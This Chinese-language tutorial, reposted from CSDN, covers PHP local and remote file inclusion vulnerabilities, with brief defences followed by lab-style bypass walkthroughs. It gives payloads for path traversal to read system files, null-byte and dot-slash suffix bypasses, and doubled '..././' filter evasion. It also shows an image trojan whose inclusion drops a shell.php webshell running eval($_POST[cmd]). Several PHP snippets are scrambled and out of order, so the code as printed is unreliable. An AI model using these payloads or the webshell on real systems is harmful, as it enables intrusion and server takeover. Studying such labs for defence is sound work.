文件包含漏洞解析
🌻一、理论
🍎1.什么是文件包含漏洞?
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
🍎2.文件包含漏洞原因
为了代码更灵活,通常会把被包含的文件设置为变量 ,进行动态调用 ,从而导致客户端可以调用任意文件 ,造成文件包含漏洞。动态包含的文件路径参数,客户端可控 。web应用对用户的输入没有进行过滤或者严格过滤就带入文件包含函数中执行
🍎3.文件包含函数
其它用于包含的函数:highlightfile()、 showsource()、 readfile()、 filegetcontents()、 fopen()、file()
🍎4.文件包含漏洞的分类
🥑 4.1本地文件包含(LFI)
指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI用户可以 动态控制变量。
'filename']; $filename = $_GET[
include($filename);
获取系统中的其他文件内容绝对路径 读取本地 host 文件
payload:?filename=C:\Windows\System32\drivers\etc\hosts
相对路径 读取本地 host 文件
payload:?filename=..\..\..\..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
包含图片马
payload:?filename=./test.jpg
🥑4.2远程文件包含(RFI)
指的是能够包含远程服务器上的文件并执行,可以通过 http(s)或者 ftp 等方式,远程加载文件
条件
allow_url_include = On (默认为 OFF,需要在 php.ini 中手动打开)allow_url_fopen = On (是否允许打开远程文件)用户可以动态控制变量
🍎5.php伪协议
🍎6.文件包含漏洞如何防御?
- php中使用open_basedir配置限制访问在指定的区域过滤;
- 过滤特殊字符如(点)/(正斜杠)\(反斜杠);
- 禁止服务器远程文件包含;
- 尽量不要使用动态包含,可以在需要包含的页面固定写好.
- 配置php.ini配置文件
- 设置黑白名单
🌻二、绕过方式
🍎1、结合文件上传漏洞绕过
include("../common/header.php");
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
"will include the arg specified in the GET parameter \"page\""); hint(
<form action="/LFI-1/index.php" method="GET">
<input type="text" name="page">
</form>
include($_GET["page"]);
这种情况直接包含一个存在的文件就会被当做php文件执行
利用绝对路径去读c盘下的敏感信息:
?page=c://boot.ini
结合文件上传漏洞打一套组合拳
思路:例如,你进入了某网站的后台,在修改头像处可上传文件,但是图片上传限制了后缀名jpg/png,那你就可以上传一张jpg或者png的图片马,即在图片中写入php木马,然后上传,留意一下上传的图片位置,如果该站还存在文件包含漏洞,那么你就可以通过文件包含刚刚你上传的图片马获取websehll。
?page=../../../../webshell.jpg
和包含的文件类型没有关系,都会被当做php解析。
🍎2、00截断绕过
include("../common/header.php");
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
"will include the arg specified in the GET parameter \"library\", appends .php to end, escape with NULL byte %00"); hint(
<form action="/LFI-2/index.php" method="GET">
<input type="text" name="library">
</form>
include("includes/".$_GET['library'].".php");
这种情况,如果你包含一个?library=../../../../webshell.php后台得到的是?library=../../../../webshell.php.php,显然这样并不能被解析。
这个时候我们就可以用%00截断?library=../../../../webshell.php%00后台得到的是这样的?library=../../../../webshell.php .php后面那个.php就会被忽略掉了。
🍎3、点加斜杠绕过
include("../common/header.php");
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
"will include the arg specified in the GET parameter \"file\", looks for .php at end - bypass by apending /. (slash plus dot)"); hint(
<form action="/LFI-3/index.php" method="GET">
<input type="text" name="file">
</form>
if (substr($_GET['file'], -4, 4) != '.php')
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
读源码,我们可以发现,它多了一个判断,即if (substr($_GET['file'], -4, 4) != '.php')这句代码的意思是,取文件的后四位,如果不是.php结尾的就去读取内容,否则输出You are not allowed to see source files!
绕过思路:我们可以在文件名后面加一个点、斜杠或者%00绕过
?file=../../../../webshell.php.
?file=../../../../webshell.php/.
?file=../../../../webshell.php%00
注意:浏览器可能会过滤掉,我们可以用BP抓包修改。
windows文件名不允许包含这些特殊字符,如果你创建一个test.php.得到的是一个test.php后面哪个点会自动抹掉。
🍎4、去掉后缀名绕过
include("../common/header.php");
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
"will include the arg specified in the GET parameter \"class\", appends .php to end, defeat with NULL byte %00"); hint(
<form action="/LFI-4/index.php" method="GET">
<input type="text" name="class">
</form>
include('includes/class_'.addslashes($_GET['class']).'.php');
这里关键在于addslashes这个函数定义和用法addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
意思就是将这些危险字符前面加反斜杠\转义掉,是一种预防攻击的方法。
文件包含的时候去掉后缀.php即可
?class=../../../../phpinfo
🍎5、双写点点杠绕过
<!-- from http://hakipedia.com/index.php/Local_File_Inclusion -->
include("../common/header.php");
"will include the arg specified in the GET parameter \"file\", strips prepended \"../\" strings, must encode / with %2f"); hint(
<form action="/LFI-5/index.php" method="GET">
<input type="text" name="file">
</form>
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
通过源码可以看到,他把../替换成了空,这一句:$file = str_replace('../', '', $_GET['file']);
绕过思路:在两个点之间加../
?file=..././..././..././..././phpinfo.php
🍎6、method为POST
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
"will include the arg specified in the POST parameter \"page\""); hint(
<form action="/LFI-6/index.php" method="POST">
<input type="text" name="page">
</form>
include($_POST["page"]);
只不过是提交方式方便,绕过思路同GET。
绕过思路:上传点如果上传一张图片,
内容为如下,当我们文件包含tupian.jpg的时候,会在同一目录下(这里的目录是当前根目录)生成一个shell.php的文件,内容为一句话木马<?php eval($_POST[cmd])?>
'shell.php' 'w'); eval($_POST[cmd]) ');?> fputs(fopen(
文件包含:
?page=../../../../tupian.jpg
然后菜刀连接。
文章转自CSDN,原作者花城的包包,如有亲情请联系删除